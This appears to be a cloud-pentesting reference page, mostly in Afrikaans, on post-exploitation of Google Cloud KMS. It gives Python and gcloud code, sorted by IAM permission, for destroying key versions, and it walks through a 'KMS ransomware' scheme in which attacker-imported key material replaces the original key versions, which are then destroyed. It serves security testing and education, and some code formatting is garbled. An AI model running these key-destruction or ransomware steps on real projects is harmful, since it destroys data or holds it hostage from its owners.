GCP - KMS Post Exploitation

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KMS

Vind basiese inligting oor KMS in:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

’n Aanvaller met hierdie toestemming kan ’n KMS-weergawe vernietig. Om dit te doen moet jy eers die sleutel deaktiveer en daarna vernietig:

Deaktiveer en vernietig sleutelweergawe (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

In AWS is dit moontlik om heeltemal **steel 'n KMS-sleutel** deur die KMS hulpbronbeleid te wysig en slegs die aanvaller se rekening toe te laat om die sleutel te gebruik. Aangesien hierdie hulpbronbeleide nie in GCP bestaan nie, is dit nie moontlik nie.

Daar is egter 'n ander manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels:

- Skep 'n nuwe **weergawe van die sleutel met 'n sleutelmateriaal** wat deur die aanvaller ingevoer is
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Stel dit as die standaardweergawe (vir toekomstige data wat geĂŻnkripteer sal word)
  • Her-enkripteer ouer data wat met die vorige weergawe geĂŻnkripteer is met die nuwe een.
  • Verwyder die KMS sleutel
  • Nou kan slegs die attacker, wat die oorspronklike sleutelmateriaal het, die geĂŻnkripteerde data kan ontsleutel

Cloud Storage + CMEK machtigingsmodel

Wanneer objekte in Cloud Storage met CMEK geĂŻnkripteer is, word die decrypt/encrypt-oproepe na KMS uitgevoer deur die projek se Cloud Storage service agent wat se e-pos is service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com), nie direk deur die eindgebruiker wat die objek lees nie.

Dit beteken dat om iets wat deur ’n CMEK geïnkripteer is te lees:

  • Die projek se cloud storage service agent moet KMS-permissies hĂȘ oor die gebruikte KMS-sleutel (tipies roles/cloudkms.cryptoKeyEncrypterDecrypter).
  • Die gebruiker het slegs objek-leespermissies nodig (byvoorbeeld storage.objects.get). Hy benodig nie permissies oor die KMS-sleutel nie.

Dit beteken dat om beheer oor toegang tot geĂŻnkripteerde data met die KMS-sleutel te hĂȘ, dit nodig is om KMS-permissies by te voeg/verwyder vir die projek se cloud storage service agent.

Neem kennis dat ’n projekvlak binding soos roles/cloudkms.cryptoKeyEncrypterDecrypter vir die Storage service agent steeds ontsleuteling met die sleutels in dieselfde projek sal toelaat.

Hier is die stappe om ’n nuwe weergawe te importeer en die ouer data te deaktiveer/verwyder:

Importeer nuwe sleutelweergawe en verwyder ou weergawe ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Enkripteer data met 'n simmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Teken boodskap met asymmetriese sleutel (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Verifieer handtekening met asymmetriese sleutel (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

Die cloudkms.cryptoKeyVersions.restore toestemming laat ’n identiteit toe om ’n sleutelweergawe te herstel wat voorheen geskeduleer was vir vernietiging of gedeaktiveer is in Cloud KMS, en dit na ’n aktiewe en bruikbare toestand terug te bring.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

Die cloudkms.cryptoKeyVersions.update-toestemming laat ’n identiteit toe om eienskappe of die toestand van ’n spesifieke sleutelweergawe in Cloud KMS te wysig, byvoorbeeld deur dit in of uit te skakel.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

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